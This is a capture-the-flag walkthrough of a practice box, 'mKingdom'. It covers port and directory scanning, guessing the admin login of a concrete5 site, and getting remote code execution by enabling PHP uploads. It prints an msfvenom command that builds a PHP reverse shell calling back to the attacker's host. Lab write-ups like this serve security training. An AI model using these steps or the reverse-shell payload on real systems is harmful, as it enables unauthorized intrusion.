---
description: Beginner-friendly box inspired by a certain mustache man.
---

# mKingdom

```
nmap -A <IP>
```

<figure><img src="https://833067139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vU5PW3JVB5Bj439ZlSJ%2Fuploads%2F09x1Hq1gNwWGQFJOCe6H%2Fnmap.png?alt=media&#x26;token=0a3c3857-e948-4181-a393-c3b91b2d3767" alt=""><figcaption></figcaption></figure>



```
gobuster dir -u http://<IP>:85/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

<figure><img src="https://833067139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vU5PW3JVB5Bj439ZlSJ%2Fuploads%2FDb8Dm5ELjWjAuurd2lrC%2Fgobuster.png?alt=media&#x26;token=b014c5a2-b907-444f-8ed9-3e6f319bff53" alt=""><figcaption></figcaption></figure>

```
http://<IP>:85/app
```

<figure><img src="https://833067139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vU5PW3JVB5Bj439ZlSJ%2Fuploads%2FlVnQ1HMwAKszfG8Xk5HG%2Fjump.png?alt=media&#x26;token=4087b094-1f03-44a3-9c39-f61ba52a5126" alt=""><figcaption></figcaption></figure>

```
http://<IP>:85/app/castle/
```

<figure><img src="https://833067139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vU5PW3JVB5Bj439ZlSJ%2Fuploads%2FJdvIa6xffwDvrPDNMrwx%2Fcaslte.png?alt=media&#x26;token=0abd618f-34cf-4199-a2c2-1652459644f5" alt="" width="563"><figcaption></figcaption></figure>

This is a concrete5 website. We can get the version with [Wappalyzer](https://www.wappalyzer.com/) :&#x20;

<figure><img src="https://833067139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vU5PW3JVB5Bj439ZlSJ%2Fuploads%2FgIqSrolFRuxNcPBu9q74%2Fwappalyser.png?alt=media&#x26;token=1628f8cc-0eed-410d-8f95-a8bf79f1b68d" alt="" width="326"><figcaption></figcaption></figure>

We can see that we get a login page : /app/castle/index.php/login

<figure><img src="https://833067139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vU5PW3JVB5Bj439ZlSJ%2Fuploads%2FpiOHXGPKjYAVUdA89O1e%2Flogin.png?alt=media&#x26;token=bdadc3b2-e8d5-4dfb-9f19-1041fbff4dd4" alt="" width="563"><figcaption></figcaption></figure>

With a lot of tries we can get the access to the admin panel :&#x20;

<figure><img src="https://833067139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vU5PW3JVB5Bj439ZlSJ%2Fuploads%2F33Dwyy4UEah9Zxf2FT50%2Fgetadmin.png?alt=media&#x26;token=5d00700f-f3ae-4b80-8502-037922d68ed2" alt="" width="563"><figcaption></figcaption></figure>

With some research we get this RCE with the version : [https://vulners.com/hackerone/H1:768322](https://vulners.com/hackerone/H1:768322)

We can test the RCE like this :&#x20;

Add php file to allowed file types :

<figure><img src="https://833067139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vU5PW3JVB5Bj439ZlSJ%2Fuploads%2FFpSwDbVsWf5Hdwea4q4n%2Fallowedfiletypes.png?alt=media&#x26;token=b8cecd11-f4bb-4745-9e8d-8b258a6fa9a3" alt="" width="375"><figcaption></figcaption></figure>

<figure><img src="https://833067139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vU5PW3JVB5Bj439ZlSJ%2Fuploads%2Ff1rYPTjqmrO3UzQQmNKz%2Faddphp.png?alt=media&#x26;token=9d85b99d-948e-4a99-a0bf-0350c9f37382" alt=""><figcaption></figcaption></figure>

Create a reverse php file :&#x20;

```
msfvenom -p php/reverse_php LHOST=<YOUR_IP> LPORT=1234 > shell.php
```

<figure><img src="https://833067139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vU5PW3JVB5Bj439ZlSJ%2Fuploads%2FE3Qmx7TA06arYSebCzG1%2Fmsfvenom.png?alt=media&#x26;token=bdec9387-4d27-47fe-b75e-ec3cdfca583d" alt=""><figcaption></figcaption></figure>

And you can test the RCE on the FileManager :&#x20;

<figure><img src="https://833067139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vU5PW3JVB5Bj439ZlSJ%2Fuploads%2FM1q4Yj5TffBwEKQAZzBY%2Ffilemanager.png?alt=media&#x26;token=c3829f80-2242-4f16-bb4f-a992edecb23a" alt="" width="375"><figcaption></figcaption></figure>

<figure><img src="https://833067139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vU5PW3JVB5Bj439ZlSJ%2Fuploads%2FmGWQ4qTWQS3PpsogTZds%2Fupload.png?alt=media&#x26;token=2a0d76c0-4fbe-4232-96b8-97815aed7a9f" alt="" width="374"><figcaption></figcaption></figure>

<figure><img src="https://833067139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vU5PW3JVB5Bj439ZlSJ%2Fuploads%2Feq7Hc5cI5UwdXp446YrV%2Freverseshell.png?alt=media&#x26;token=8c7fe97b-447d-47a6-9469-1e8b40a2c937" alt=""><figcaption></figcaption></figure>

If you want a cool extension to get quickly some reverse shell or others payloads this is a great tool : [https://addons.mozilla.org/fr/firefox/addon/hacktools/](https://addons.mozilla.org/fr/firefox/addon/hacktools/)

We are www-data. So we search for user.txt and root.txt files and we can get the flags ;)
